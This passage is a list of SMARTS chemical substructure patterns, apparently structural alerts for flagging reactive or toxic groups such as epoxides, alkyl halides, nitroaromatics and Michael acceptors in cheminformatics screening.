"[$([#7+,#7v4;!$([#7](~[O])~[O])]1([$([OX1,OX1-]),$([CH3]),$([#6H2][C!H0]=[CH2]),$([CH2][CH2][OH1]),$([CH2]C(=[OX1])[#6]),$([CH2]C(=[OX1])[#7!H0]cc),$([CH2][CH3])])=,:[#6]-,:[#6]=,:a-,:[#6]2=,:[#6]1-,:[#6;H]=,:[#6]([H,#7])-,:[#6]=,:[#6]2),$([#7v5;!$([#7](~[O])~[O])]1(=[OX1])=,:[#6]-,:[#6]=,:a-,:[#6]2=,:[#6]1-,:[#6;H]=,:[#6]([H,#7])-,:[#6]=,:[#6]2)]", "[#6]P[#6]", "c1([OH1])aac([NX3]([#1,#6])[#1,#6])aa1", "[$([!#6!#1;R1]1~[!#6!#1;R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~1)]", "[#6&!$(C(=[OX1,SX1,NX2]))][SX2H1]", "[#1,#6][CX3](=[OX1])[NX3H1][#6&!$([CX3]=[OX1,SX1,NX2])]", "[$([Sv6X4;!$([Sv6X4][OH]);!$([Sv6X4][SH]);!$([Sv6X4][O-]);!$([Sv6X4][S-])](=[OX1])(=[OX1])[$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)]),$([Pv5X4;!$([Pv5X4][OH]);!$([Pv5X4][SH]);!$([Pv5X4][O-]);!$([Pv5X4][S-])](=[OX1])([$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)])[$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH0](C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2]C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])(C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I])C([#1,F,Cl,Br,I])([#1,F,Cl,Br,I])[#1,F,Cl,Br,I]),$([OX2][CH2]c1ccccc1)])]", "c1ccc([nX3]2([#1,#6]))c(c([CH2][#1,#6])c2)c1", "[NX3]([CX4&!$([CX4]([NX3])[O,S,N,P])])([CX4&!$([CX4]([NX3])[O,S,N,P])])[CX4&!$([CX4]([NX3])[O,S,N,P])]", "[OH1]c1ccc([OH1])cc1", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#6][NX2]=[NX2][#6]", "[!#6!#1]1~*~*~*~*~*~1", "S(=O)(=O)O", "[a][$([NH2]),$([NX3][OX2H1]),$([NX3][OX2][CX3H1](=[OX1])),$([NX2]=[CH2]),$([NX2]=C=[OX1]);!$([NX3,NX2]a(a-[!#1])a-[!#1]);!$([NX3,NX2]aa-C(=[OX1])[OH]);!$([NX3,NX2]aa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3,NX2]aaa-[Sv6X4](=[OX1])(=[OX1])[OH]);!$([NX3,NX2]aaaa-[Sv6X4](=[OX1])(=[OX1])[OH])]", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])]C(=O)[NH2,$([NH](C=O)[#6]),$(N(C=O)([#6])[#6])]", "[CX4]1[OX2,NX3][CX4]1", "[CX4;!H0][Br,Cl,I]", "[CH2]=C[$(N(=[OX1])=[OX1]),$(C=O),$(C#N),$(S=O),$(C(=O)N),$(a)]", "[$(c1([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])c([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cccc1),$(c1([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])ccc1),$(c1([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])ccc([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])])cc1)]", "[nR1]1[cR1][cR1][cR1][cR1][cR1]1", "[$(c1([OH1])c([OH1])cccc1),$(c1([OH1])cc([OH1])ccc1),$(c1([OH1])ccc([OH1])cc1),$(c1([OH1])c([OH1])c([OH1])ccc1),$(c1([OH1])c([OH1])cc([OH1])cc1),$(c1([OH1])cc([OH1])cc([OH1])c1),$(c1([OH1])c([OH1])c([OH1])c([OH1])cc1),$(c1([OH1])c([OH1])c([OH1])cc([OH1])c1),$(c1([OH1])c([OH1])cc([OH1])c([OH1])c1),$(c1([OH1])c([OH1])c([OH1])c([OH1])c([OH1])c1),$(c1([OH1])c([OH1])c([OH1])c([OH1])c([OH1])c1([OH1]))]", "c1c([O,NH2,NH])c([O,NH2,NH])ccc1", "[Sv6X4](=[OX1])(=[OX1])[OH1]", "[$([aR3].[n,o,s]),$([$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[n,o,s])]", "[CR0](=O)S", "[$([!#6!#1;R1]1=[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]=[#6R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]=[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[#6R1]=[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]=1),$([!#6!#1;R1]1=[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]=[#6R1]~1),$([!#6!#1;R1]1=[#6R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[#6R1]=[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1);!$([a!c]1[a!c]cccc1);!$([a!c]1c[a!c]ccc1);!$([a!c]1cc[a!c]cc1)]", "[sR1]1[nR1][cR1][cR1][cR1]1", "NOT [!#6!#1!#8] AND [$([CX4!R][OX2;!$(O(C1)C1);!$([OX2][OX2])][CX4!R]),$([CX4]1[OX2][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4][CX4][CX4]1)]", "[$([sR1]1[nR1][cR1][cR1][cR1]1),$([sR1]1[cR1][nR1][cR1][cR1]1)]", "[C!H0]=C[S,N]=O", "[Br,Cl,F,I][$([cR1]1[cR1][cR1][cR1][cR1][cR1]1-[cR1]2[cR1][cR1][cR1][cR1][cR1]2),$([cR1]1[cR1][cR1][cR1][cR2]2[cR2]1[cR1][cR1][cR1][cR1]2)]", "[cR1]1[cR1][cR1][cR1][cR2]2[oR1][cR1][cR1][cR2]12", "NOT [!#6!#1!#8!F!Cl!Br] AND [$([$([CX4!R][OX2;!$(O(C1)C1);!$([OX2][OX2])][CX4!R]),$([CX4]1[OX2][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4][CX4]1),$([CX4]1[OX2][CX4][CX4][CX4][CX4][CX4]1)]),$([OX2H1][CX4][!$(C(=C)[CX4][OX2H1]);!$(C(#C)[CX4][OX2H1]);!$(a[CX4][OX2H1])]),$([a;!$(a-[OH1]);!$(a[CX4][OH1])][$(C~[CX4][OH1]),$(C~C~[CX4][OH1]),$(C~C~C~[CX4][OH1]),$(C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~C~[CX4][OH1]),$(C~C~C~C~C~C~C~C~C~[CX4][OH1])]),$([CX4][CX3](=[OX1])[CX4])] AND [$([#6][F,Cl,Br]);!$([F,Cl,Br]CC=C);!$([F,Cl,Br]CC#C);!$([F,Cl,Br]Ca)]", "[$([!#6!#1;R1]1=[!#6!#1;R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[!#6!#1;R1]=[#6R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[!#6!#1;R1]~[#6R1]=[#6R1]~[#6R1]~1),$([!#6!#1;R1]1=[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]=[#6R1]~[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]=[!#6!#1;R1]~[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]=[#6R1]~[#6R1]~1),$([!#6!#1;R1]1~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]=[#6R1]~1),$([!#6!#1;R1]1=[#6R1]~[!#6!#1;R1]~[#6R1]~[!#6!#1;R1]~[#6R1]~1);!$([a!c]1[a!c][a!c]ccc1);!$([a!c]1[a!c]c[a!c]cc1);!$([a!c]1c[a!c]c[a!c]c1)]", "[NR0]-[SR0!v6]", "[NX3H1](c)c", "[#6]=[#6][CX3](=[OX1])[OX2][#6]", "C(F)(F)C(F)(F)", "[$([#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])),$([#6X3]1(=[OX1])-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]=,:[#6X3]1)]", "[Cl,Br,I,F].[*]P", "c1c(F)c(F)c(F)c(F)c1(F)", "C(=S)[!#1!H0]", "[$([#1,#6;!$(C=C);!$(C#C)][CX3]([H])(=[OX1])),$([CX4;H1]([OX2])[OX2])]", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [$(C=,#C[$(C=O),$(C(=[OX1])[OX2]),$(C#N),$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-]),$(C(=[OX1])[NX3]),$([Sv6X4](=[OX1])(=[OX1]))]),$([$([#6X3]1=,:[#6X3][CX3](=[OX1])[#6X3]=,:[#6X3][#6X3]1(=[OX1])),$([CX3]1(=[OX1])[CX3](=[OX1])[#6X3]=,:[#6X3][#6X3]=,:[#6X3]1)])]", "[CX3](=[OX1])([#7])[CX3]=[CX3]", "[$([#6X3]1=,:[#6X3]-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]1(=[OX1])),$([#6X3]1(=[OX1])-,:[#6X3](=[OX1])-,:[#6X3]=,:[#6X3]-,:[#6X3]=,:[#6X3]1)]", "[CX4][NX3]([CX4])c1cc([$([CX4]),$(O[CX4][CX4])])c([#7])[cH]c1", "[$([!#6!#1]1=CCCC1),$([!#6!#1]1C=CCC1),$([!#6!#1]1CC=CC1),$([!#6!#1]1=CC=CC1);!$(n1cccc1)]", "[$([NX4,$([NX4+])]([#1,#6])([#1,#6])([#1,#6])[#1,#6]),$([OX1-,OH1][#7X4+]([*])([*])([*])),$([OX1]=[#7X4v5]([*])([*])([*])),$([OX1]=[Nv5X3&!$([Nv5X3](=[OX1])=[OX1])](=[*])([*])),$([OX1-,OH1][#7X3+R](~[R])(~[R])),$([OX1]=[#7v5X3R](~[R])(~[R]))]", "[Cl,Br,I][$([CX4]);!$([CX3](=[OX1,SX1,NX2]));!$([CH2][CH2][SX2,NX3])]", "[!#6!#1]1~[#6]~[#6]~[#6]~[#6]~1", "[+].[-][CX3](=[OX1])[NX3H0][CX3](=[OX1])", "[$([NX2]([a])=[NX2][a]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaS(=O)(=O)[OH]);!$([NX2](aaaaS(=O)(=O)[OH])=[NX2]aaaaS(=O)(=O)[OH])]", "[nR1]1[cR1][nR1][cR1][cR1][cR1]1", "[H,CH2,CH3][#7]1-,:[#6]([CH2,CH3,$([a!c](:[#6]-,:[#7])),$([C!H0][#7]),$([C!H0]([CH2,CH3])[N!H0][CH2,CH3]),$([C!H0]([CH2,CH3])[CH2][N!H0][CH2,CH3])])=,:[#6]([CX4!H0])-,:c2[cH]cccc12", "c1ccc(c(c1)[OH1])[OH1]", "[$([a!#6]1[a!#6][a!#6]cc1),$([a!#6]1[a!#6]c[a!#6]c1)]", "N1C(=[SX1])[SX2]C(=C)[CX3]1=[OX1]", "C1OC1", "CC([Cl,Br,I])([Cl,Br,I])C", "[CX4][NH]c1ccc(O[CX4])cc1", "nC(=O)[#6]", "[NX3H2][c,CX4&!$([CX4]([NH2])[O,N,S,P])]", "[!#6!#1;R1]1~[#6R1]~[#6R1]~[#6R1]~1", "[cR1]1[cR1][cR1][cR1][cR2]2[sR1][cR1][cR1][cR2]12", "[$([a!#6;R1]1[a!#6;R1][a!#6;R1][cR1][cR1]1),$([a!#6;R1]1[a!#6;R1][cR1][a!#6;R1][cR1]1)]", "[!#6!#1]1CCCCC1", "[#1,#6][CX3]([#1,#6])=[CX3]([!#6!#1])[!#6!#1]", "[!#6!#1]1-[#6]-[#6]-[#6]-1", "[$([CX4]([F,Cl,Br,I])([H,!F!Cl!Br!I])([H,!F!Cl!Br!I])[H,!F!Cl!Br!I]),$([CX4]([#6])([F,Cl,Br,I])([F,Cl,Br,I])[H,!F!Cl!Br!I])]", "[N!R]=N", "[$(c(=[OX1])[$(n[#1,#6]),o,s]),$(c(=[OX1])a[$(n[#1,#6]),o,s]),$(c(=[OX1])aa[$(n[#1,#6]),o,s]),$(c(=[OX1])aaa[$(n[#1,#6]),o,s])]", "C1(=S)NC(=O)C(=[#6])S1", "[NX4+]([#6])([#6])([#6])([#6])", "[#6][Sv6X4!R](=[OX1])(=[OX1])[OX2!R][#6]", "[$(C=C),$(C#C),a][CH2,CH][O,S][$([CH]=O),$([CH]=S),$(C(C)=O),$(C(C)=S)]", "[$(c1([F,Cl,Br,I,$(N(=O)=O)])ncc([F,Cl,Br,I,$(N(=O)=O),$(C#N),$(C=O),$(C(F)(F)F),$(S=O)])cc1),$(c1([F,Cl,Br,I,$(N(=O)=O)])ncccc1([F,Cl,Br,I,$(N(=O)=O),$(C#N),$(C=O),$(C(F)(F)F),$(S=O)]))]", "P([O;D1])=O.P([O;D1])=O", "[OH1]c1c([OH1])cccc1", "[CX3]([H])(=[OX1])[#1,#6&!$([CX3]=[CX3])]", "c1cccc5c1c(c8c(n5)cccc8)[#7]", "[#7]!@-N", "[$([a!c]1[a!c]cccc1),$([a!c]1c[a!c]ccc1),$([a!c]1cc[a!c]cc1)]", "[$([aR3].[n,o,s]),$([$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[$([aR2]([aR])([aR])([aR]))].[n,o,s])]", "[#6&!$([CX3]=[OX1,SX1])][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]", "[F,Cl,Br,I][CX4][#8]", "[$(c1[nv3X2][c,n][c,n,s][c,n]1),$(c2[nv3X2][c,n][c,n][c,n][c,n]2)]-[$(c1[nv3X2][c,n][c,n,s][c,n]1),$(c2[nv3X2][c,n][c,n][c,n][c,n]2)]", "[CX4;!H0][Br,Cl,I]", "[$([NX3][CX3](=[Sv2X1])[NX3]),$([CX3;!$(C[OH]);!$(C[SH]);!$(C[O-]);!$(C[S-]);!$(CO[#6])](=[Sv2X1])[NX3])]", "[sR1]1[cR1][nR1][cR1][cR1]1", "[#1,#6][CX3](=[OX1])[!#1!#6!$([SH1,SX2])]", "[c;R1,R2,R3]1[c;R1,R2,R3][c;R1,R2,R3][c;R2,R3]2[c;R2,R3]([c;R1,R2,R3]1)[c;R1,R2,R3][c;R1,R2,R3][c;R1,R2,R3][c;R1,R2,R3]2", "[#1,#6][CX3](=[OX1])[NX3]([#6&!$([CX3]=[OX1,SX1,NX2])])[#6&!$([CX3]=[OX1,SX1,NX2])]", "[nR1]1[nR1][cR1][nR1][cR1]1", "[#6][NX2]=[NX2][#6]", "[CX3]([#1,#6])([#1,#6])=[CX3]([OH1])[#1,#6]", "[CX3](=[OX1])([#6])[CX3]=[CX3]", "[a!c;R1]1[cR1][cR1][cR1][cR1][cR1]1", "NOT [!#1!#6!#7!#8!#16!F!Cl!Br] AND [#6;!$(C(=O)[OX2])][OX2][CX4][CX4][F,Cl,Br]", "[a!#6;R1]1[cR1][cR1][cR1][cR1]1", "[#6][CH2][NX3H2]", "[a][SX4](=O)(=O)[OH]", "[$([NX3&!$([NX3]([CX3]=[SX1])[CX3]=[OX1,SX1,NX2])][CX3](=[SX1])[!#1!#6!#7!$([Pv5])]),$([NX3&!$([NX3]([CX3]=[OX1])[CX3]=[OX1,SX1,NX2])][CX3](=[OX1])[SH1,SX2])]", "N[CX4]c1c([OH1])cccc1", "[$([CX4!H0]([Cl,Br])[CX3](=[OX1])[$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1),c]),$([CX4!H0]([Cl,Br])[CX3](=[OX1])[OX2][$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH2]),$([CX4]1[CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4]1),$([CX4]1[CX4][CX4][CX4][CX4][CX4]1),$([CH2]c1ccccc1),c]),$([CX4!H0]([Cl,Br])[CX3](=[OX1])[NX3]([#6])([#6])),$([CX4!H0]([Cl,Br])[CX3](=[OX1])[OX1-])]", "[#6][CX3](=[OX1])[OH1]", "[CX3]=[CX3][CX4][CX3]=[CX3]", "[$([#1,#6][#6X3](=[OX1])[#1,#6]),$([#6]=[CX2]=[OX1])]", "[CX3]([!$([OH]);!$([O-])])(=[OX1])[CX3H1]=[CX3]([$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([#1,#7,#8,F,Cl,Br,I,#15,#16,#5]),$([CH]=[CH][#6]);!$([a])])[$([CH3]),$([CH2][CH3]),$([CH2][CH2][CH3]),$([CH]([CH3])[CH3]),$([CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH3]),$([CH2][CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH3]),$([CH2][CH2][CH2][CH2][CH3]),$([CH]([CH3])[CH2][CH2][CH3]),$([CH2][CH]([CH3])[CH2][CH3]),$([CH2][CH2][CH]([CH3])[CH3]),$([CH]([CH2][CH3])[CH2][CH3]),$([CH]([CH3])[CH]([CH3])[CH3]),$([CH0]([CH3])([CH3])[CH2][CH3]),$([CH2][CH0]([CH3])([CH3])[CH3]),$([#1,#7,#8,F,Cl,Br,I,#15,#16,#5]),$([CH]=[CH][#6]);!$([a])]", "[$([#6&!$(C=[O,N,S])]1[OX2][CX3](=[OX1])[#6]1),$([#6&!$(C=[O,N,S])]1[OX2][CX3](=[OX1])[#6][#6]1)]", "[NX3H2][CX4&!$([CX4]([NH2])[O,N,S,P])]", "[#1,CX4!R][NX3]([#1,CX4!R])[CH2]c1ccccc1", "[CX4][NX3]([CX4])c1ccc(C=C)cc1", "[$([CH2]),$([CH][#6])]=[CH,$(C[#6])][$(c1ncncc1),$(c1ncccn1),$(c1cncnc1)]", "[Si]([#8])([#6])([#6])([#6])", "[#6][#6]=[#6]([F,Cl,Br,I])[#6](=[OX1])[#6]", "c1cccc2c1ccc([OH])n2", "[CX3]=[CX3][CX3](=[OX1])[$([OX2]([CX3]=[OX1])[!#1]),$([#1][CX3]=[OX1]),$([NX3H2]([CX3]=[OX1])),$([NX3]([CX3]=[OX1])),$([CX4][CX3]=[OX1])]", "[$([cr5][n,s;r5][n,o;r5]),$([cr5]([nr5])[s,o,n;r5])][Nv3X3H1!R][CX3!R](=[OX1])[$([cr5][nv3X2r5]),$(c1ncccc1),$(c1c([OX2][CH3])cccc1)]", "[#1,#6&!$([CX3]=[OX1,SX1])][CX2]#[NX1]", "[#6][#7+]1=,:[#6]-,:[#6,#7]=,:[#6]-,:[#6,#7]=,:[#6]1", "nccc[F,Cl,Br]", "[!#6!#1;R1]1~[*R1]~[*R1]~[*R1]~[*R1]~[*R1]~1", "[Sv6X4](=[OX1])(=[OX1])[CX3]=[CX3]", "[$([a!#6]1[a!#6]ccc1),$([a!#6]1c[a!#6]cc1)]", "[CH2,$([CH1][#6]),$([CX4]([#6])[#6])]([NX3]([#1,*])[#1,*])[NX3]([#1,*])[#1,*]", "[$([CX3]=[CX3][$([$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CX3](=[OX1])[OX2][#1,#6]),$([Sv6X4](=[OX1])(=[OX1])[OH]),$([CX3](=[OX1])[#1,F,Cl,Br,I]),$([CX2]#[NX1]),$([CX4]([F,Cl])([F,Cl])[F,Cl]),$([CH2][OH]),$([CH2][$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]),$([CH2][F,Cl])]),$([CX3]=[CX3][CX3](=[OX1])[#1,#6])]", "C[CX3](=[OX1])[CX4][CX3](=[OX1])C", "[*R1]1[*R2]2=[*R1][*R1]=[*R1][*R1]=[*R2]2[*R1][*R2]3=[*R1][*R1]=[*R1][*R1]=[*R2]13", "c1ccc([OH])c2c1cccn2", "c[Sv2H1]", "[$(c([C;!R;!$(C-[N,O,S]);!$(C-[H])](=O))1naaaa1),$(c([C;!R;!$(C-[N,O,S]);!$(C-[H])](=O))1naa[n,s,o]1)]", "[$([NX3](=[OX1])=[OX1]),$([NX3+](=[OX1])[O-])]cccc[F,Cl,Br]", "[H,C][OX2]c1c([CX4][NX3])ccc2cccnc21", "[CX3]=[CX3]([#6,#1])[OX2]", "[OH]c1c(C=NN)cccc1", "[a][F,Cl,Br,I]", "[OH1][CX3](=[OX1])[CX4]([#1,#6])([#1,#6])[NH2,$([NH1]([#6])[#6])&!$([NH1](CC(=O)[OH1])[CX3]=[OX1,SX1])]", 